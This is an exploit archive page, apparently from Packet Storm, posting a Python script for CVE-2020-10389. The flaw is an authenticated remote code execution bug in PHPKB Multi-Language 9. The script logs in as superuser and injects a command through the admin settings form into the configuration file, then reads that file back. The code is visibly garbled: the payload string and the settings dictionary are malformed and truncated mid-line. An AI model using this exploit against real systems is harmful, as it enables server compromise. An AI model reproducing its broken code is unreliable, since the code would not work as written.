

PHPKB Multi-Language 9 Authenticated Remote Code Execution

Authored by [Antonio Cannito](#)

Posted [Mar 16, 2020](#)

PHPKB Multi-Language 9 suffers from an authenticated remote code execution vulnerability.

tags | [exploit](#), [remote](#), [code](#), [execution](#)

advisories | [CVE-2020-10389](#)

SHA-256 | [97d7245c8517d90c649b58bab089c284338df47ef1241f1a6b6c2359a26e86ae](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twee

Linkedin

Reddit

Digg

StumbleUpon

Change Mirror

Download

```

# Exploit Title: PHPKB Multi-Language 9 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10389

#!/usr/bin/env python3
import argparse
import requests

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10389 - Authenticated Remote Code Execution in Chadua PHPKB Standard Multi-Language 9 in admin/save-settings.php")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("cmd", type=str, help="The command you want executed")
args = parser.parse_args()

session = requests.Session()

#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'})

#Sending exploit code and downloading the file
exp = """ . sysctl(1)) . ""'.format(args.cmd)
data = {"putdown_for_maintenance": "no"},".format(exp, "kbnme": "test", "kburl": "http://localhost/phpkb", "kb_access": "unrestricted", "extended_support_license_key": "", "mail_server": "default", "smtp_hostname": "", "smtp_username": "", "smtp_password": "", "smtp_port": "", "encryption_method": "None", "emails_debug_mode": "0", "emails_debug_output": "error_log", "send_mails_from": "", "test_email": "", "mysqlserver": "127.0.0.1", "mysqlusername": "root", "mysqlpwd": "DummyPass", "mysqldatabase": "test", "kb_layout": "fluid", "category_tree_width": "3", "sidebar_orientation": "left", "category_tree_layout": "normal", "show_tree_articles": "yes", "category_articles_count": "show", "categories_display_order": "Alphabetic", "home_theme": "modern", "home_search_layout": "default", "categories_layout_theme": "carousel", "show_categories_cols": "3", "category_title_size": "normal", "home_articles_layout": "tabbed", "display_featured": "yes", "featured_count": "5", "display_popular": "yes", "popular_count": "5", "display_rated": "yes", "rated_count": "5", "display_recent": "yes", "recent_count": "5", "enable_subscribe_kb": "yes", "kb_subscribe_theme": "minimal", "category_articles_layout": "default", "category_page_records_default": "10", "category_page_records_minimal": "10", "articles_sortby": "Popularity", "articles_sortorder": "Descending", "enable_subscribe_category": "yes", "enable_news_page": "yes", "display_homepage_news": "yes", "number_homepage_news": "5", "enable_login_page": "yes", "enable_glossary_page": "yes", "enable_contact_page": "yes", "send_contact_email": "yes", "contact_email_address": "tet@test.com", "enable_instant_suggestions": "yes", "minimum_question_characters": "60", "default_search": "Articles", "search_in_articles": "All", "search_in_others": "Both", "search_filter": "Any Word", "display_recentviewed": "yes", "recentviewed_count": "5", "display_popular_searches": "yes", "popularesearch_count": "5", "enable_page_themes": "default", "article_sidebar_content": "related", "enable_add_favorite": "yes", "enable_print_article": "yes", "enable_email_article": "yes", "enable_exportto_maword": "yes", "enable_exportto_pdf": "yes", "enable_subscribe_article": "yes", "enable_custom_fields": "yes", "enable_article_rating": "yes", "enable_article_hits": "yes", "enable_article_author": "yes", "show_author_email": "yes", "enable_related_articles": "yes", "number_related_articles": "10", "show_related_articles_randomly": "yes", "enable_article_feedback": "yes", "enable_article_comments": "yes", "existing_comments_visibility": "hide", "show_comments_to": "all", "comments_sortorder": "Descending", "email_privacy_protection": "yes", "article_meta_source": "article title", "notify_pending_comment_superuser": "yes", "notify_approved_comment_user": "yes", "schema_publisher_name": "", "schema_publisher_logo": "", "enable_rss_feed": "yes", "enable_rss_featured_feed": "yes", "enable_rss_popular_feed": "yes", "enable_rss_latest_feed": "yes", "enable_rss_rated_feed": "yes", "enable_rss_related_feed": "yes", "number_login_attempts": "9223372036854775807", "login_delay": "5", "maxfilesize": "10240", "kb_allowed_upload_file_types": "gif,jpg,jpeg,png,wma,wmv,swf,doc,docx,zip,pdf,txt", "searching_method": "0", "fulltext_mode": "0", "searchresultsperpage": "10", "enable_search_files": "yes", "doc_path": "C:\\antword\\antword.exe", "ppt_path": "C:\\xampp\\htdocs\\phpkb\\admin\\ppthtml.exe", "xls_path": "C:\\xampp\\htdocs\\phpkb\\admin\\xlhtml.exe", "pdf_path": "C:\\xampp\\htdocs\\phpkb\\admin\\pdfdotext.exe", "index_attachment": "yes", "enable_autosave": "yes", "autosave_interval": "120000", "use_wysiwyg_editor": "yes", "enable_version_history": "yes", "enable_captcha": "yes", "captcha_type": "default", "recaptcha_site_key": "", "recaptcha_secret_key": "", "syntax_highlighter_theme": "shThemeDefault", "pdf_library": "wkhtmltopdf", "wkhtmltopdf_path": "lol", "pdf_header": "", "pdf_footer_type": "default", "pdf_page_numbers": "yes", "pdf_page_number_position": "Left", "pdf_footer": "", "kb_meta_keywords": "keyword1, keyword2, keyword3", "ke url = args.url + "/admin/manage-settings.php"
session.post(url, data=data)
print(session.get(args.url + "admin/include/configuration.php").text.encode('utf-8'))

#Resetting settings
data = {"putdown_for_maintenance": "no"},".format(exp, "kbnme": "test", "kburl": "http://localhost/phpkb", "kb_access": "unrestricted", "extended_support_license_key": "", "mail_server": "default", "smtp_hostname": "", "smtp_username": "", "smtp_password": "", "smtp_port": "", "encryption_method": "None", "emails_debug_mode": "0", "emails_debug_output": "error_log", "send_mails_from": "", "test_email": "", "mysqlserver": "127.0.0.1", "mysqlusername": "root", "mysqlpwd": "DummyPass", "mysqldatabase": "test", "kb_layout": "fluid", "category_tree_width": "3", "sidebar_orientation": "left", "category_tree_layout": "normal", "show_tree_articles": "yes", "category_articles_count": "show", "categories_display_order": "Alphabetic", "home_theme": "modern", "home_search_layout": "default", "categories_layout_theme": "carousel", "show_categories_cols": "3", "category_title_size": "normal", "home_articles_layout": "tabbed", "display_featured": "yes", "featured_count": "5", "display_popular": "yes", "popular_count": "5", "display_rated": "yes", "rated_count": "5", "display_recent": "yes", "recent_count": "5", "enable_subscribe_kb": "yes", "kb_subscribe_theme": "minimal", "category_articles_layout": "default", "category_page_records_default": "10", "category_page_records_minimal": "10", "articles_sortby": "Popularity", "articles_sortorder": "Descending", "enable_subscribe_category": "yes", "enable_news_page": "yes", "display_homepage_news": "yes", "number_homepage_news": "5", "enable_login_page": "yes", "enable_glossary_page": "yes", "enable_contact_page": "yes", "send_contact_email": "yes", "contact_email_address": "tet@test.com", "enable_instant_suggestions": "yes", "minimum_question_characters": "60", "default_search": "Articles", "search_in_articles": "All", "search_in_others": "Both", "search_filter": "Any Word", "display_recentviewed": "yes", "recentviewed_count": "5", "display_popular_searches": "yes", "popularesearch_count": "5", "enable_page_themes": "default", "article_sidebar_content": "related", "enable_add_favorite": "yes", "enable_print_article": "yes", "enable_email_article": "yes", "enable_exportto_maword": "yes", "enable_exportto_pdf": "yes", "enable_subscribe_article": "yes", "enable_custom_fields": "yes", "enable_article_rating": "yes", "enable_article_hits": "yes", "enable_article_author": "yes", "show_author_email": "yes", "enable_related_articles": "yes", "number_related_articles": "10", "show_related_articles_randomly": "yes", "enable_article_feedback": "yes", "enable_article_comments": "yes", "existing_comments_visibility": "hide", "show_comments_to": "all", "comments_sortorder": "Descending", "email_privacy_protection": "yes", "article_meta_source": "article title", "notify_pending_comment_superuser": "yes", "notify_approved_comment_user": "yes", "schema_publisher_name": "", "schema_publisher_logo": "", "enable_rss_feed": "yes", "enable_rss_featured_feed": "yes", "enable_rss_popular_feed": "yes", "enable_rss_latest_feed": "yes", "enable_rss_rated_feed": "yes", "enable_rss_related_feed": "yes", "number_login_attempts": "9223372036854775807", "login_delay": "5", "maxfilesize": "10240", "kb_allowed_upload_file_types": "gif,jpg,jpeg,png,wma,wmv,swf,doc,docx,zip,pdf,txt", "searching_method": "0", "fulltext_mode": "0", "searchresultsperpage": "10", "enable_search_files": "yes", "doc_path": "C:\\antword\\antword.exe", "ppt_path": "C:\\xampp\\htdocs\\phpkb\\admin\\ppthtml.exe", "xls_path": "C:\\xampp\\htdocs\\phpkb\\admin\\xlhtml.exe", "pdf_path": "C:\\xampp\\htdocs\\phpkb\\admin\\pdfdotext.exe", "index_attachment": "yes", "enable_autosave": "yes", "autosave_interval": "120000", "use_wysiwyg_editor": "yes", "enable_version_history": "yes", "enable_captcha": "yes", "captcha_type": "default", "recaptcha_site_key": "", "recaptcha_secret_key": "", "syntax_highlighter_theme": "shThemeDefault", "pdf_library": "wkhtmltopdf", "wkhtmltopdf_path": "lol", "pdf_header": "", "pdf_footer_type": "default", "pdf_page_numbers": "yes", "pdf_page_number_position": "Left", "pdf_footer": "", "kb_meta_keywords": "keyword1, keyword2, keyword3", "kb session.post(url, data=data)

```

Search ...

 Follow us on Twitter

 Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 154 files

Ubuntu 73 files

LiquidWorm 23 files

Debian 18 files

malvun 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 8 files

T. Weber 4 files

Julien Ahrens 4 files

File Tags

[ActiveX \(932\)](#)
[December 2022](#)
[Advisory \(79,754\)](#)
[November 2022](#)
[Arbitrary \(15,694\)](#)
[October 2022](#)
[BBS \(2,859\)](#)
[September 2022](#)
[Bypass \(1,619\)](#)
[August 2022](#)
[CGI \(1,018\)](#)
[July 2022](#)
[Code Execution \(8,926\)](#)
[June 2022](#)
[Conference \(673\)](#)
[May 2022](#)
[Cracker \(840\)](#)
[April 2022](#)
[CSRF \(3,290\)](#)
[March 2022](#)
[DoS \(22,602\)](#)
[February 2022](#)
[Encryption \(2,349\)](#)
[January 2022](#)
[Exploit \(50,359\)](#)
[Older](#)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

[December 2022](#)
[November 2022](#)
[October 2022](#)
[September 2022](#)
[August 2022](#)
[July 2022](#)
[June 2022](#)
[May 2022](#)
[April 2022](#)
[March 2022](#)
[February 2022](#)
[January 2022](#)
[Older](#)

Systems

[AIX \(426\)](#)
[Apple \(1,926\)](#)
[BSD \(370\)](#)
[CentOS \(55\)](#)
[Cisco \(1,917\)](#)
[Debian \(6,634\)](#)
[Fedora \(1,600\)](#)
[FreeBSD \(1,242\)](#)
[Gentoo \(4,272\)](#)
[HPUX \(878\)](#)
[iOS \(330\)](#)
[iPhone \(108\)](#)
[IRIX \(220\)](#)
[Juniper \(87\)](#)
[Linux \(44,315\)](#)
[Mac OS X \(684\)](#)
[Mandriva \(3,105\)](#)
[NetBSD \(255\)](#)
[OpenBSD \(479\)](#)
[RedHat \(12,469\)](#)
[Slackware \(941\)](#)
[Solaris \(1,607\)](#)

[Login](#) or [Register](#) to add favorites

- [Spoof](#) (2,166)
- [SQL Injection](#) (16,102)
- [TCP](#) (2,379)
- [Trojan](#) (686)
- [UDP](#) (876)
- [Virus](#) (662)
- [Vulnerability](#) (31,136)
- [Web](#) (9,365)
- [Whitepaper](#) (3,729)
- [x86](#) (946)
- [XSS](#) (17,494)
- [Other](#)
- [SUSE](#) (1,444)
- [Ubuntu](#) (8,199)
- [UNIX](#) (9,159)
- [UnixWare](#) (185)
- [Windows](#) (6,511)
- [Other](#)



© 2022 Packet Storm. All rights reserved.

Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)